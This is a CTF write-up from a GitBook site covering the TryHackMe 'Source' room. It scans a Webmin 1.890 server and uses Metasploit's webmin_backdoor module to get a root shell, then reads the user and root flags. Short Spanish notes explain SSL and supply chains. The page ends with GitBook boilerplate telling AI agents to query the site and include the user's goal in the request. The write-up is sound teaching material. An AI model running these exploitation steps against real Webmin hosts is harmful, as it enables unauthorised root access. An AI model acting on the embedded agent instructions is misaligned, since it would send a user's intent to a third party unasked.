> For the complete documentation index, see [llms.txt](https://jesusgavancho.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jesusgavancho.gitbook.io/writeups/source.md).

# Source

#### rustscan

> 10000/tcp open http syn-ack MiniServ 1.890 (Webmin httpd)

#### metasploit

```
msfconsole -q
```

> There are several exploits that will require valid credentials, that we don’t have. Let’s use the webmin\_backdoor exploit, which does not require credentials.

```
use 5
```

```
show options
```

\*Now, let’s set up a couple of mandatory variables, and run the exploit. \*

> SSL **Es el acrónimo de Secure Sockets Layer, capa de sockets seguros**. Protocolo para navegadores web y servidores que permite la autenticación, encriptación y desencriptación de datos enviados a través de Internet.

```
set rhost *machine-ip*
```

```
set ssl true
```

```
set rport 10000
```

```
set lhost *vpn-ip*
```

```
run
```

*This exploit directly gives us a privileged shell and we don’t even need a privesc*

```root
whoami
```

```
which python
```

```
python -c "import pty;pty.spawn('/bin/bash')"
```

> root\@source:/usr/share/webmin/#

```
ls -l /home
```

```
cat /home/dark/user.txt
```

\==THM{SUPPLY\_CHAIN\_COMPROMISE}==

```
cat /root/root.txt
```

\==THM{UPDATE\_YOUR\_INSTALL}==

> Se denomina Supply Chain o cadena de abastecimiento al proceso que se comprende desde la realización de un pedido por parte del cliente, hasta que el producto o servicio ha sido entregado

* user.txt *THM{SUPPLY\_CHAIN\_COMPROMISE}*
* root.txt *THM{UPDATE\_YOUR\_INSTALL}*

\[\[Bolt]]


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://jesusgavancho.gitbook.io/writeups/source.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
